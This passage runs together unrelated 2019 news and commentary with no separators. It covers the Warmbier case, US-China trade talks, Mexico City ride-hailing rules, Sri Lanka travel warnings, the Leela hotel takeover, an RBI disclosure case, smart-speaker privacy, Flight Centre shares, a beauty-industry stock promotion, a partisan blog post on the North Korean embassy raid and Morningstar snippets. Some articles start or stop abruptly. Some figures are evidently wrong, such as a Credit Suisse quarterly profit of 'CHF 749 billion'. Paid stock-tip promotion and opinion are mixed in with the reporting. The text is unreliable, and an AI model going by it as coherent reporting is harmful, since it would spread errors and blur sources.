tourist, was imprisoned in January 2016. North Korea state media said he was sentenced to 15 years of hard labour for trying to steal an item bearing a propaganda slogan from his hotel. Reached by phone, Fred Warmbier, Otto Warmbier's father, declined to comment on the report or to confirm the Post's account that he had said the hospital bill sounded like ransom. Trump has denied paying North Korea to release hostages. "I got back our hostages; I never paid them anything," he said at a September news conference. Warmbier's parents issued a sharp statement in March after Trump said he believed North Korean leader Kim Jong Un's assertion not to have known how their son was treated. The U.S. president also praised Kim's leadership after their second summit collapsed in February in Hanoi when the two sides failed to reach a deal for Pyongyang to give up its nuclear weapons. "Kim and his evil regime are responsible for the death of our son Otto," Fred and Cindy Warmbier said in March. "Kim and his evil regime are responsible for unimaginable cruelty and inhumanity. No excuses or lavish praise can change that." Trump said later he held North Korea responsible for the young man's death. A U.S. court in December ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. An Ohio coroner said Warmbier died from a lack of oxygen and blood to the brain. Pyongyang blamed botulism and ingestion of a sleeping pill and dismissed torture claims. US President Donald Trump said he would soon host Chinese leader Xi Jinping at the White House, setting the stage for a possible agreement on trade between the world's two largest economies. The White House said on Tuesday that Treasury Secretary Steven Mnuchin and U.S. Trade Representative Robert Lighthizer would travel to Beijing for additional talks on a trade dispute that has led to tit-for-tat tariffs between the two countries. Chinese Vice Premier Liu He, who will lead the Beijing talks for China, will also travel to Washington for more discussions starting on May 8, it said. "The subjects of next week's discussions will cover trade issues including intellectual property, forced technology transfer, non-tariff barriers, agriculture, services, purchases, and enforcement," the White House said. Beijing and Washington are seeking a deal to end a bitter trade war that has cost them billions of dollars, disrupted supply chains and rattled financial markets. Trump has said he expects to finalise the deal in a meeting with Xi. Uber, Didi Chuxing and other ride-hailing firms criticized a host of new regulations of the sector in Mexico's capital city, which include a ban on cash fares that could exclude many potential customers who lack bank accounts. Mexico City's government on Wednesday issued rules that prohibit cash payments for ride-hailing services, require drivers to register with the city, and ban the use of cheaper cars, among other measures. The regulations mark a setback for San Francisco-based Uber in one of its largest markets ahead of a planned initial public offering. The company has fought hard for the right to accept cash fares in Mexico, arguing that it is a critical tool to reach the millions of Mexicans who do not use credit or debit cards. In a joint statement, Uber, China's Didi, Spain's Cabify and Greece's Beat said Mexico City's government agreed in February to work with the sector as it updated regulation. But the new rules were issued "unilaterally and without prior dialogue," the firms said. "We are concerned that, as it stands, this reform creates a series of barriers to entry," the companies said in a joint statement, which was also signed by Estonia's Bolt and Mexico's Laudrive. They said drivers could see a hit to their earnings. Mexico City's transport ministry did not immediately respond to a request for comment. Minister Andres Lajous told a news conference that the rules were aimed at rooting out corruption and levelling the playing field for ride-hailing firms and taxi drivers. The regulations also prohibit pre-paid cards, which are frequently used by tech companies in Mexico to reach customers who do not have credit or debit cards. Uber began accepting cash in Mexico City last year after Mexico's Supreme Court struck down a ban on cash fares in the western state of Colima. Uber said in a separate statement on Wednesday that the Mexico City regulation contradicts the Supreme Court's decision, which it has argued should be used as a precedent nationwide. Didi said in a statement on Thursday that banning cash payments would affect the unbanked population and potentially worsen mobility throughout Mexico City. The UK and Australia have advised their citizens not to travel to Sri Lanka unless their journey is essential as terrorists were "likely" to carry out further attacks in the country, following the deadly Easter Sunday bombings that killed 253 people and injured over 500. According to advisories, future attacks could be indiscriminate, including in places visited by foreigners. In the immediate aftermath of the bombings, the The UK Foreign Office (FCO) updated its guidance, urging British citizens in the country to avoid large gatherings. But on Thursday it went further, warning about the potential for more attacks. "The Foreign and Commonwealth Office advise against all but essential travel to Sri Lanka, due to the current evolving security situation following attacks on April 21 2019," it said. "Terrorists are very likely to try to carry out attacks in Sri Lanka. Attacks could be indiscriminate, including in places visited by foreigners." Foreign Office officials told those at the briefing that the change to travel advice was not due to fresh intelligence but instead a necessary precaution. The situation still remains volatile in Sri Lanka after nine suicide bombers, believed to be members of a local Islamist extremist group called National Thowheed Jamath (NTJ), carried out the blasts that killed 253 people and wounded more than 500 others. The death toll from the Islamist attack on Easter Sunday was revised downwards on Thursday from 359 to 253 people killed. Following similar warning from the UK, the US, Australia on Thursday warned more terror attacks were "likely" in Sri Lanka, cautioning citizens against visiting the island nation. "Terrorists are likely to carry out further attacks in Sri Lanka," the foreign ministry warned in its latest travel advice. "Attacks could be indiscriminate, including in places visited by foreigners. Security has been stepped up across the island and a State of Emergency and night-time curfew remain in place," it said. The US State Department on Thursday again issued an advisory and warned that terrorist groups "continue plotting" possible attacks, with targets including tourist locations, places of worship and airports. The blasts - the deadliest attacks in the country's history - are likely to devastate the country's tourism industry which had been thriving in the decade of peace since the end of the country's civil war in 2009. Tourism is a major source of income for Sri Lanka and the industry has only in recent years begun to recover after the 26-year civil war. In 2009, there were 448,000 foreign visitors to the country, but since 2016, the figure has leapt to more than 2 million a year. With SEBI (Securities and Exchange Board of India) stopping the Hotel Leelaventure takeover bid in its tracks, several questions have cropped up. A combination of two minority investorsITC and LICjointly owning a tad over 10% petitioned both NCLT (National Company Law Tribunal) and SEBI to prevent this takeover from going ahead, citing oppression and mismanagement against the company. IANS now learns that a Middle Eastern billionaire along with an Indian arms dealer had jointly bid for Leelaventure company and their bid at $600 million was higher than any other bid. Further, they had offered to pay every cent of the outstanding loans for the entire company, including the Mumbai Leela property (which is under legal Airport Authority of India). The Leela saga has seen many twists and turns and the flawed takeover is now under the microscope. It is believed JM Financial excluded this bid deliberately on purpose by asking them to deposit $90 million in earnest money deposit (Rs630 crore) with JMF, whereas they did not ask for a single penny from Brookfield. The Middle Eastern businessman and the arms dealer had several rounds of meetings with the Nair brothersVivek and Dineshin January second week, however, JMF did not budge from their position. Moreover, a reputed Thai hotel chain, Minor Hotels, also bid for Leela Group and they too were asked to deposit 15% of the bid value, as JMF wanted to block them from entering the fray against BF (Brookfield). JM Financial, which has been pushing this deal is equally under the cosh for pushing this flawed acquisition. The fact that Brookfield was made to pay Rs150 crore each to the Nair brothers for branding and Intellectual Property Rights is another facet of this deal which is seriously questionable. JM FIN ARC conduct is now being examined by the SEBI. ITC has also separately moved the NLCT along with two applicants, asking for an urgent hearing and also waiver of 10% shareholding as minimum threshold to have a say in the management decisions. ITC has alleged that minority shareholder rights are being suppressed. NCLT will hear the matter on 18th June. The ITC which owns 7.92% has alleged that the Leela-Brookfield deal violated provisions of related-party transactions. LIC's (with 2.36%) objections have not been ascertained immediately. The company's board had sought shareholders' approval through a postal ballot on April 24, for the sale of its assets to Brookfield for Rs3,950 crore. The assets include hotel properties in Delhi, Bengaluru, Udaipur and Chennai. SEBI's letter to Leela hotels was issued on the basis of complaints filed by two minority shareholderstobacco major ITC Ltd and Life Insurance Corporation of India (LIC). Promoters own 47.3% while JM FIN ARC has 26%. "While Sebi is examining the representations in view of paucity of time and interest of investors in securities, you are advised that none of the transactions proposed in the PBN (post ballot notice) of March 18, are acted upon till further directions from Sebi," the market regulator said in its letter to Hotel Leela. Disclaimer: Information, facts or opinions expressed in this news article are presented as sourced from IANS and do not reflect views of Moneylife and hence Moneylife is not responsible or liable for the same. As a source and news provider, IANS is responsible for accuracy, completeness, suitability and validity of any information in this article. While giving 'one last opportunity', the Supreme Court on Friday asked Reserve Bank of India (RBI) to reconsider its position on disclosure of annual inspection reports of banks, list of wilful defaulters and other details sought by activists under Right to Information (RTI) Act. The apex court just stopped short of issuing a contempt notice against RBI governor, Shaktikanta Das, in this matter. "Though we could have taken a serious view of RBI continuing to violate the directions issued by this Court, we give them a last opportunity to withdraw the disclosure policy insofar as it contains exemptions, which are contrary to the directions issued by this Court. The RBI are dutybound to furnish all information relating to inspection reports and other material apart from the material that was exempted in para 77 of the judgment. Any further violation shall be viewed seriously by this Court," the bench of Justice L Nageswara Rao and Justice MR Shah said in the order. The apex court also directed the central bank to withdraw its non-disclosure policy, which the Court concluded is in violation of the Supreme Court's judgement in 2015. The RBI, as per 2015 judgement, was supposed to disclose the annual audit report of the banks, status of NPAs (non-performing assets) and action taken thereon. Taking a serious view of the continued defiance by RBI, the court came down heavily asking the central bank to make full disclosure of its annual inspection reports on the financial health of banks including position of NPAs and also withdraw its disclosure norms as they came in the way of making information public on the state of banks under the RTI. A bench of Justice L Nageswara Rao and Justice MR Shah said: "Any further violation will be viewed seriously." Read: Supreme Court Warns RBI of Contempt Proceedings for Not Disclosing Banks' Annual Inspection Reports under RTI ) Only last month, the Supreme Court has threatened RBI with contempt proceeding for not disclosing banks' annual inspection reports under the RTI. ( Earlier, both, the apex court as well as central information commission (CIC), had held that RBI cannot refuse to put in the public domain the annual inspection reports of banks. However, RBI has refused to follow these orders saying that these reports contain 'fiduciary information' as defined under the RTI Act and, hence, cannot be placed in the public domain. RTI activists Subhash Chander Agrawal and Girish Mittal had moved the top court seeking contempt action against RBI governor for not complying with its 2015 judgement. The petitioners had claimed that RBI and its former governor Dr Urjit Patel had 'willfully and deliberately' disobeyed the apex court's judgement asking the central bank to disclose information under the RTI Act. The two petitioners sought initiation of contempt of court action against former Governor for not disclosing information as directed by the top court. One of the contempt petitions filed by Girish Mittal said that RBI refused to provide information sought about the inspection reports of some banks. In the petition, Mumbai-based Mr Mittal, represented by senior counsel Prashant Bhushan and Pranav Sachdeva, contended that he had sought information under the RTI Act in December 2015 like copies of inspection reports of ICICI Bank, Axis Bank, HDFC Bank and State Bank of India (SBI) from April 2011 and copies of case files, with file notings on various irregularities detected by RBI in the case of Sahara group of companies and erstwhile Bank of Rajasthan. However, RBI denied the information in January 2016 that such information is exempted under Section 8(1)(e) of the RTI Act and Section 45NB of the Reserve Bank of India Act. Read: SC issues contempt notice to RBI in RTI case ) The petition recalled the Supreme Court ruling in a case that RBI is clearly not in any fiduciary relationship with any bank. RBI has no legal duty to maximise the benefit of any public sector or private sector bank and, thus, there is no relationship of 'trust' between them. ( Read: RBI Governor Gets Show Cause Notice from CIC for Not Disclosing Defaulters List ) Last year in November, the CIC too had issued a show-cause notice to Dr Urjit Patel, the then governor of RBI, for not honouring a judgement of the Supreme Court on disclosure of wilful defaulters list who had not paid loans of Rs50 crore and more. ( In the notice, the then central information commissioner Prof Sridhar Acharyulu had also asked the prime ministers office (PMO), finance ministry and RBI to make public the letter sent by previous governor Raghuram Rajan on bad loans. In the order, Prof Acharyulu had stated, "The Commission finds no merit in hiding the names of, details and action against wilful defaulters of big bad loans worth hundreds of crores of rupees. The RBI shall disclose the bad debt details of defaulters worth more than Rs1,000 crore at the beginning, of Rs500 crore or less at later stage within five days and collect such information from the banks in due course to update their voluntary disclosures from time to time as a practice under Section 4(1)(b) of RTI Act." Prof Acharyulu, irked over the denial of information on wilful defaulters who had unpaid loans of Rs50 crore and more, asked the RBI governor to explain why maximum penalty should not be imposed on him for dishonouring a verdict from the apex court, which had upheld a decision taken by then information commissioner Shailesh Gandhi, calling for disclosure of names of wilful defaulters. Earlier in February 2016, the Supreme Court had directed RBI to furnish a list of the companies which are in default of loans in excess of Rs500 crore or whose loans have been restructured under corporate debt restructuring (CDR) scheme by banks and financial institutions. ( Read: Supreme Court asks RBI to submit list of big defaulters Even in December 2015, the apex court, in a landmark judgement, had told RBI that the banking regulator cannot withhold information citing 'fiduciary relations' under the RTI Act. In old movies, especially spy movies, we would often see a person trying to place a mike for recording conversations in a hidden place. Later, hidden mobile phone (with auto-answering feature) was shown as being used to listen to the conversations. However, with the new age smart voice assistants occupying space in advertisement and, thus, in homes, the new generation spy may not have to take any trouble to install a mike or mobile for listening in to secret conversations. As I had mentioned in an earlier article on smart voice assistants or speakers , many incidents are being reported about these devices secretly recording private conversations or even falling prey to voice command hijacking by outside sources. Smart speakers can be thought of as a subset of home assistants in that they are voice-activated devices in your home. The ever-helpful voice assistants offered by Amazon (Alexa), Siri from Apple, Google Assistant and Microsofts Cortana, are found to be listening to every voice in their vicinity. Although these devices may be doing this to be able to respond quickly to a voice command, the possibility of recording every voice and transmitting it from such always-on and connected to the Internet devices cannot be ruled out. And in case you have connected your mobile phone with such smart voice assistant, there are possibilities of the device making a call to someone or sharing something with anyone listed as contact in the phonebook In Mumbais Chandivali area, an African grey parrot was found making calls over phone to his owner through Alexa. In fact, the parrot, named Sniper, also gives command to the smart speaker to play music or songs that he likes. The pet bird hops close to Alexa and calls out in his rather raspy voice, Alexa, play The Riddle. And, as if on cue, digital assistant Alexa starts blaring out Snipers favourite song, a report from Times of India says. The problem is that you/these smart assistants cannot fully depend on your ears/voice recognition technology to identify or differentiate a genuine voice from a rendered or modulated one. The Sniper example just ratifies this as Alexa, in this case, had no idea if the voice command is originating from a human or a bird. Researchers from University of California (Berkeley) and Georgetown University have been working on these vulnerabilities of smart voice assistants. A paper, published in May 2018 by these researchers, had claimed that they could embed voice commands directly into recordings of songs, music or spoken text. This means that while we may hear what is being played on the speaker of the smart assistant device, this hidden command would be heard (only) by the device. So, while you are listening to some music, your Alexa might be adding or removing some items from your shopping list. This includes buying music albums on Amazon as well. There are multiple triggers to concerns about smart speakers, the latest one being a person in Germany using Amazon's Alexa who received 1,700 audio files from a person he never met. A woman from Oregon State in the US was in shock past year when the Amazon Echo device at her Portland home recorded a private conversation and then shared it with one of her husband's employees in Seattle. Amazon later clarified that Alexa mistakenly heard a series of commands and sent the recording as a voice message to one of the husband's employees. The threat is very much real, with more and more consumers being hooked to the always-on and Internet-connected smart home devices. According to a recent report from Forrester, Secure the Rise of Intelligent Agent, the security of smart voice assistants, like Alexa, Cortana, Google Assistant, and Siri, is questionable. In the report, Amy DeMartine and Jennifer Wise say, Alexa doesn't currently authenticate or authorise individuals who access it, leaving a company's Alexa skills unprotected from anyone who can remember another user's commands." While the user can mute the smart speakers and delete past recordings, let us not forget that a copy of every conversation you had with the voice assistants may already been stored by the manufacturer. Apple stores queries to Siri but these are not associated with Apple or the email ID. The company deletes such queries and codes after six months. Both Amazon and Google, however, save histories until the customer deletes them. Microsofts Cortana users are required to manage their own data retention preferences on the Cloud and on their devices. Google-owned YouTube is now offering its music streaming service for free on Google Home as well as other assistant-powered smart speakers. Aiming to take on the likes of Spotify, Amazon has also launched its new ad-supported music streaming service in the US which is available for use through the company's line up of Echo speaker and other Alexa devices. For both these offerings from Google and Amazon, your conversations recorded on the smart speakers would be really helpful in creating your profile. This, in other words, can be used for targeted offerings from these tech giants. So what can you do? Think twice if you really need to buy the smart voice assistants that may be recording every word spoken in your home. If you think your privacy is more important, then do not buy such smart speakers. In case you had already bought and are using one, try to keep it on mute (or switch off) when not in use. Also try to configure individual user profiles. At time of writing, the share price of Flight Centre Travel Group Ltd [ASX:FLT] is the worst performer trading in the ASX today. It is down 11.89%, trading at $38.92 per share. The travel company issued a profit downgrade in an announcement today. Flight Centre acknowledged that they are performing strongly in the global corporate travel which includes USA, UK and Asia markets. Yet the Australian leisure sector has been struggling mainly because of slow growth, weak retails sales and low consumer confidence. As they commented on their announcement, in the last two years, the company has: Deployed a new sales system (GDS) Introduced a new wage model for its front-end sales staff Consolidated its brand structures Initiated an ongoing review of its shop network Yet the changes are yet to pay off. As you can see below, the stock price has dropped by over 40% since August last year. Source: Market Index As Flight Centre noted on the announcement: For the first time, businesses outside Australia are expected to generate more than half of group profit and earnings globally will be weighted more heavily towards corporate travel. While we expect Australian leisure results to improve as short-term operational improvement plans gain traction and as longer-term transformational strategies are implemented, we also expect these trends to continue.[] We have started to see some modest signs of recovery in Australia recently, with margins stabilising and customer enquiry growing steadily, but this has not yet converted to increased bookings, which is a trend that has been evident in the past when consumer confidence has been relatively low. Flight Centre has also been hit with a lawsuit from employees today. From the ABC : Former and current staff of travel giant Flight Centre are taking the company to the Federal Court, claiming widespread, systemic underpayment of staff. Documents will be lodged today on behalf of five people who claim Flight Centre underpaid them for at least six years. Will the Flight Centre share price recover? While households have seen some incredible gains in property, they are now seeing their wealth vanish, along with slumping house prices. Not only that. We are seeing falling house prices along with stagnant wages and higher costs of living. Households are feeling the pinch. Record high debt, lower price houses, higher bills and no salary increases mean that households are cutting down on unnecessary spending, and this could mean that Australian leisure travel struggles to recover in the future. Regards, Selva Freigedo, For Money Morning In todays Money Weekenda potential US$270 billion growth in just six yearshow the beauty industry makes its billionswhy the most exciting possibilities arent in big household namesand more Primer, foundation, concealer, contour, translucent powder, eyebrow pencil, eyebrow gel, eyeshadow, eyeliner, mascara, bronzer, blush, highlighter, lip liner, lipstick, lip gloss, setting spray. Have I still got your attention? Above is a list of some of the products one may use when applying a face of makeup. Weve come a long way from the origin of cosmetics, when Cleopatra first wore a distinctive line of black kohl eyeliner (then made of a mixture of metal, lead, copper, ash and burnt almonds) around her upper and lower eyelids in ancient Egypt. Now we have a whole ecosystem of products, colours and textures many would find dizzying. Superfluous? You bet. But this industry is one in which many can profit, despite how silly or unnecessary some of the products seem. The beauty industry was globally valued at approximately US$532.43 billion in 2017, according to Reuters, and is expected to hit a whopping US$805.61 billion by 2023. That value only grows with each new product created by the industry. It seems every few years a new product is created which is absolutely vital to ones makeup routine, despite never existing until that moment. Often these new products are met with incredible enthusiasm from beauty buyers, creating a sense of urgency and demand which is unimaginable for a product which hasnt even been released yet. They hype it up with such tenacity and for so long that the thought of missing out on this new invention could be devastating for any makeup enthusiast. This process in and of itself may be the most important factor driving the beauty industrys ongoing success. Free report: Aussie stock picker, Sam Volkering (with gains as high as 1,431% in the last 18 months) reveals what he believes are his next four big potential winners. Prep n prime A real-life example of this process can be seen in the first product thats meant to hit your skin (after of course cleansing your face and applying a variety of moisturisers and serums), primer. Or to be more specific, foundation primer. When we look back even a couple of decades, primer wasnt something that really existed in makeup routines. Generally, primer was known in different industries, such as priming a wall before it was painted, but we didnt need it for our faces! But due to the ever-expanding beauty industry, and the billions that come from a newly created product, obviously the need for primer as we know it today had to come about. Like many makeup products, primers initial invention was for the stage, originally designed to extend the wear of performers stage makeup. However, since then primer has come a long way, to become an utmost necessity in most makeup kits. Although primers primary function is still to ensure your makeup lasts all day, newer formulas also claim to fill in pores, blur fine lines, colour correct and even reduce oiliness or dryness. Not only that, but now there are lip primers, eyeshadow primers, even mascara primers, all apparently tailored to their respective areas. Now, if you were a makeup wearer, wouldnt you want your complexion to be smooth, unblemished and oil-free all day long? Of course. But what if you couldnt possibly achieve said results unless you applied a particular product beforehand? But this product didnt even exist 20-odd years agoso how were people achieving this then? It may baffle some makeup wearers. And those who dont wear it may not even care to know. But when it comes to the bigger picture its quite clear that these products were created and perpetuated by a money-hungry industry, which has found successful techniques for marketing to mostly young women. So if the industry is constantly creating new products which make it seem as though a makeup routine without them would be inferior and incomplete, at what point does it stop? Which product will be the last product absolutely necessary in achieving your desired look? It seems as though that last product will never exist As we become more and more advanced, of course there are going to be newly discovered products and even improved existing products. But when it comes to necessity, who calls the shots? The customer or the industry? How the beauty industry makes its billions What valuable lessons can other industries learn from the beauty industrys amazing ability to create urgency and high demand for newly created products? Is their power tied to that fact that most women can be especially vulnerable when it comes to their appearance? And the fact that these companies are creating products playing on these same vulnerabilities? As an investor, it could be useful to note that the beauty industry is not limited to the cosmetics industry. The beauty industry expands into many subsections. One of these subsections is referred to as beauty services, which includes grooming services such as laser hair removal and eyebrow waxing. Stephanie Cashman, from Australian beauty salon Simply Stunning, brought to readers attention the increase of beauty services available and purchased by young people in todays society. Cashman noted that she has personally witnessed an increasingly young clientele opting for increasingly high-intervention treatments. Cashman went on to say that more and more young people are coming in to get a variety of beauty services which usually wouldnt be performed on people until they were much older. But what is driving this ramp up in beauty related spending? As reported by the ABC, Tim Olds, a professor of health sciences from the University of South Australia, says the industry is being spurred by the images around us which are often very unrealistic. Were exposed to more and more bodies, and we see more and more of those bodies, and those bodies are more and more ideal all the time, Olds stated. That drives a great deal of dissatisfaction. And its this constant dissatisfaction which drives the beauty industry into what it is today. Women are constantly shown pictures of other more beautiful women, and then these images become some sort of a standard as to how all women should be. It is in the best interest of the industry to perpetuate an unrealistic, unattainable perception of beauty. Therefore women (and some men) are constantly trying to improve themselves, sometimes to levels which dont actually exist in real life. And what do they do to achieve this so-called improvement? A plethora of beauty products and treatments. But how can you, as an investor, directly profit from this ever-expanding industry? Where to start looking If youre interested in expanding your investment portfolio by investing in beauty or beauty-related companies, it is essential to get in on brands before they become household names. Thats if you want to make the biggest possible profits, of course. While there arent many cosmetics companies listed on the ASX, there are many beauty-related companies which could be worth having a look at. Hint: Most pharmacies sell makeup! As mentioned, perhaps the most exciting possibilities arent in the big household names like LOreal or Max Factor. Instead, to benefit from consumers constant appetite for the new and exciting, look to smaller, newer companies breaking into the industry with fresh ideas. These tiny young companies are inherently riskier, but their small size can mean huge potential for growth if they get it right. In Wealth Eruption, his premium service focusing on smaller stocks with exactly that kind of explosive potential, Money Morning editor Harje Ronngard recently tipped a cosmetics company riding an exciting new trend. I wont give away too many of the details here, as that wouldnt be fair on Harjes paying subscribers, but this speculative little company is at the forefront of exactly the kind of new trend that appeals to young consumers, the beauty industrys core audience. You can find out more about Harjes Wealth Eruption here. Whether its Harjes latest tip, or a similar speculative stock, the beauty industry is the perfect space to find disruptive new trends that could potentially lead to big gains for investors. This week in Money Morning Due to Easter Monday, there was no Money Morning on Monday this week. And on Thursday, in recognition of Anzac Day being set aside for solemn remembrance of our servicemen and womens sacrifice, we stepped away from markets for a day. As an investor, its important to know when one of your stock prices is changing direction. Oftentimes, price action is so complex that the very idea of up and down is difficult to define. Which is why on Tuesday, Murray outlined a strategy he has been perfecting over the last decade. To find out what it is, click here. On Wednesday, Murray wrote about a recent Labor pledge that could potentially mean big news for the small ASX-listed gas companies with stranded gas in the Galilee and Bowen basins and even those with land holdings around the Beetaloo Basin in NT. In fact, some of those stocks have already started to move. To learn more about them, click here. Then in Fridays Money Morning, Sam tells readers hes never been this excited about the crypto world as he is right now, after returning from attending Paris Blockchain Week. To learn more about the interesting takeaways he gathered from the summit, click here. Best wishes, Julija Zivanovic, For Money Weekend PS: Revealed in our brand-new Money Morning report: Three Small-Cap Stocks to Own Right Now. Click here to download your free copy. April 26, 2019 U.S. Citizens Who Raided North Korea's Embassy In Spain Are "Dissidents"? Spanish authorities suspected the CIA of involvement in the February 22 raid on the North Korean embassy in Madrid: At least two of the 10 assailants who broke into the embassy and interrogated diplomatic staff have been identified and have connections to the US intelligence agency. The CIA has denied any involvement but [Spanish] government sources say their response was unconvincing. The CIA countered the Spanish reports of its involvement by exposing its 'regime change' proxy group that executed the raid: The group behind the late February operation is known as Cheollima Civil Defense, a secretive dissident organization committed to overthrowing the Kim dynasty, people familiar with the planning and execution of the mission told The Washington Post. ... This group is the first known resistance movement against North Korea, which makes its activities very newsworthy, said Sung-Yoon Lee, a North Korea expert at Tufts University. Sung-Yoon Lee is "Kim Koo-Korea Foundation Professor of Korean Studies and assistant professor at the Fletcher School of Law and Diplomacy at Tufts University." He seems to believe that a violent raid by CIA related Korean-Americans on a North Korean embassy in a third country is "resistance". The raid came a few days before the Trump-Kim summit in Hanoi. It was timed to blow up the negotiations. In late March a Spanish judge named one Adrian Hong Chang as the leader of the embassy raid. Adrian Hong Chen is the head of the Cheollima Civil Defense/Free Joseon group. The judge demanded the extradition of Hong and his abettors from the United States. One of those persons has since been caught: A U.S Marine veteran from Southern California was part of a group of dissidents wielding machetes and fake guns when they stormed North Korea's embassy in Madrid and tied up and beat officials inside, federal prosecutors alleged in a criminal complaint released Tuesday. Spain is seeking to extradite Christopher Philip Ahn on charges including robbery, illegal restraint and criminal organization. Judge Jean Rosenbluth denied bond for Ahn during a Los Angeles court hearing attended by his wife, mother and about two dozen other supporters. ... Prosecutors said Ahn was arrested during a raid last week on the Los Angeles apartment of a co-defendant, Adrian Hong Chang, a leader of the Free Joseon group. Hong Chang was not at home and has not been arrested. One reason that bail was denied is the extraordinary violence the group used: The group armed with machetes, iron bars, knives and fake guns beat some of the workers and then tied them up with shackles and cables, prosecutors alleged. They put bags over some of the workers' heads, beat them and threatened them with the metal bars and guns, according to the court papers. Interestingly it was Adrian Hong Chang, the group's leader, who ratted out Christopher Philip Ahn: After the attack, Hong Chang also met with FBI agents at the bureau's office in Los Angeles and told them that Christopher Ahn, a former Marine, had participated in the attack. One of the embassy workers later identified Ahn as an attacker from his LinkedIn profile picture. Christopher Philip Ahn, Adrian Hong Chang It seems that the Spanish authorities made enough of a stink to push the U.S. to seriously act against the group. But the embassy raiders still have their defenders. At NKNews.org Professor Sung Yong Lee says that the prosecutor's court memo (pdf) in the Christopher Philip Ahn case is trash: One expert told NK News they believed the U.S. governments case, as reflected in the documents unsealed on Tuesday, had more holes than a slice of Swiss cheese. It shows the case was cobbled together in a rush when, after weeks of hedging, the DOJ, presumably upon orders from the White House and State, made the decision to quash Free Joseon, Sung-Yoon Lee, an Assistant Professor at Tufts Universitys Fletcher School, said. Sloppiness pervades the complaint, he continued, pointing to what he said he was a number of inconsistencies in the account of the break-in. The criminal complaint is based entirely on implausible accounts by the DPRK staff, who had life-and-death incentives to claim having been overpowered by thugs, he continued. A statement carried on the website of Free Joseon last week, too, expressed dismay at the decision to arrest Ahn, saying the move derived from criminal complaints filed by the North Korean regime. Earlier reporting from Spain contradicts the Professor's assertions. The case is not "based entirely on implausible accounts by the DPRK staff". It was the Spanish police who confirmed the violence of the perpetrators: Police found the eight victims inside. They had been held hostage for two hours, had had bags placed over their heads, had been beaten and were scared. Two of them required medical attention. The Free Joseon claim about "criminal complaints filed by the North Korean regime" is also false. The prosecution of a violent crime is mandatory under Spanish law. North Korea did not even file a complain: The North Korean Embassy hasnt pressed charges in Spain, and officials in Pyongyang havent officially commented on the attack. Professor Sung-Yoon Lee isn't finished yet. In an Los Angeles Times op-ed he argues against extraditing Ahn to Spain. The headline follows his earlier argument: Free Joseon is a North Korean resistance movement, not a criminal enterprise: U.S. authorities have filed a criminal complaint alleging the dissidents used force and abused embassy staff during the Madrid action. Free Joseon denies the charges. For the U.S. to accept what is essentially a North Korean version of the events is to effectively defend the Kim regime. It sends the message to Pyongyang that its egregious crimes lie beyond the concern of the worlds presumptive champion of freedom and democracy. The U.S. must not do Kims bidding. Our extradition treaty with Spain provides for a refusal to extradite if we regard the offense in question as political. The North Korean Embassy breach surely was that, and the U.S. should seek to protect the dissidents rather than hand them over to Spain. ... To stand up to tyranny in the name of freedom is not only not a crime, but also a right and duty. The United States should not quash this hallowed principle. Christopher Ahn has U.S. citizenship. Adrian Hong has a Mexican passport. Neither is from North Korea. How can they be 'dissidents'? If North Korean citizens who want to regime change the United States would violently raid a U.S. embassy in a third country would that also be a "political" act committed by "dissidents"? The argument is obviously nonsense. But to depict the criminals as "political", "resistance" and "dissidents" serves a purpose. This week Kim Jong-un visited Russia and met President Vladimir Putin. They talked about the nuclear negotiations. The Washington Post headlined: Putin: Kim Jong Un needs international security guarantees to give up nuclear arsenal Russian President Vladimir Putin emerged from his first summit with Kim Jong Un on Thursday saying that North Korea needs international security guarantees, not just U.S. pledges, to consider giving up its nuclear arsenal. ... They [North Koreans] only need guarantees about their security. Thats it. All of us together need to think about this, Putin told reporters after the talks with Kim. Security guarantees make of course sense. Without them North Korea will not disarm at all. But the U.S. is not-agreement-capable, say the Washington Post authors: North Korea has pushed for a declaration to formally end the Korean War, which ended in an armistice in 1953, without a peace treaty. Kim also has denounced past U.S.-South Korea military exercises as a provocation. Trump called off some war games and dangled the possibility of an end-of-war declaration in the future, but direct U.S. pledges of support for the Kim regimes hold on power are highly improbable, experts say. Nobody is in a position to give them the security guarantees they would like to have, said Andrei Lankov, a North Korea expert at Kookmin University in Seoul. They want a guarantee not only against an outside attack but also against possible internal discontent. . . . On balance, its a non-starter. Kim Jong-un would not demand guarantees against genuine internal discontent. North Korea's security forces surely know how to handle such. What he likely wants is that the U.S. re-commits itself to international law and refrains from interference in the internal affairs of his country. The creation and manipulation of "resistance" movements, like the Free Joseon group, is a typical U.S. 'regime change' instrument. Such a "resistance" is then used as a pretext for violent regime change by military force. It was the expat 'Iraqi National Congress' of Ahmed Chalabi that played a large role in the build up to the war on Iraq. Similar "resistance" support was and is used to argue for war on Libya, on Syria and -coming soon- on Venezuela. Professor Sung-Yoon Lee asks to recognize the embassy raiders as "political resistance". Free Joseon already declared itself to be the "government in exile" of North Korea. What happens when the U.S. recognizes it as such? It seems that what the Professor is really aiming at is 'regime change' in North Korea, if necessary by U.S. force. Sung-Yoon Lee's professorship is named after Kim Koo, "a leader of the Korean independence movement against the Japanese Empire, and a reunification activist after 1945". Kim Koo was fiercely opposed to U.S. plans to establish a separate government in South Korea. He was assassinated in 1949 by Lieutenant Ahn Doo-hee, an agent of the U.S. Counter-Intelligence Corps in Korea and member of a far right extremist group. One seriously doubts that Kim Koo would have lend his support to the scheme that Professor Sung-Yoon Lee peddles under his name. --- Earlier Moon of Alabama pieces on the issue: Posted by b on April 26, 2019 at 18:05 UTC | Permalink Comments A version of this article was published in the February 2019 issue of Morningstar ETFInvestor. Download a complimentary copy of Morningstar ETFInvestor by visiting the website. Momentum and low volatility have been remarkably effective investment strategies, despite their simplistic focus on past performance. They are also complementary. Momentum is built to deliver market-beating returns, while low volatility reduces risk. These are both good long-term strategies, but it is possible to further improve performance by tactically shifting between the two. On Saturday, May 4, Omaha, Nebraska will host the event sometimes referred to as Woodstock for Capitalists: the annual Berkshire Hathaway (BRK.B) shareholder meeting, led by chairman Warren Buffett and vice chairman Charlie Munger. (For those who cant make it in person, the meeting will be livestreamed.) That means its time for our annual look at the mutual funds with the biggest stakes in the stocks held in Berkshire Hathaways investment portfolio, as listed in Buffetts annual letter to shareholders and annual report. Morningstars Susan Dziubinski discussed the letter when it came out in late February. Berkshires investment portfolio used to be managed entirely by Buffett, but for the past few years some of it has been run independently by Todd Combs and Ted Wechsler, who each now manage more than $10 billion. Thus, a more accurate title for this article might be Funds That Buy Like Buffett, Combs, and Wechsler, but thats not as snappy. Credit Suisse (CS) reported net profit of CHF 749 billion for the first quarter of 2019, which is 8% higher than the first quarter of 2018 and 11% higher than consensus expectations. However, the increase was solely the result of a lower tax rate; pretax profit of CHF 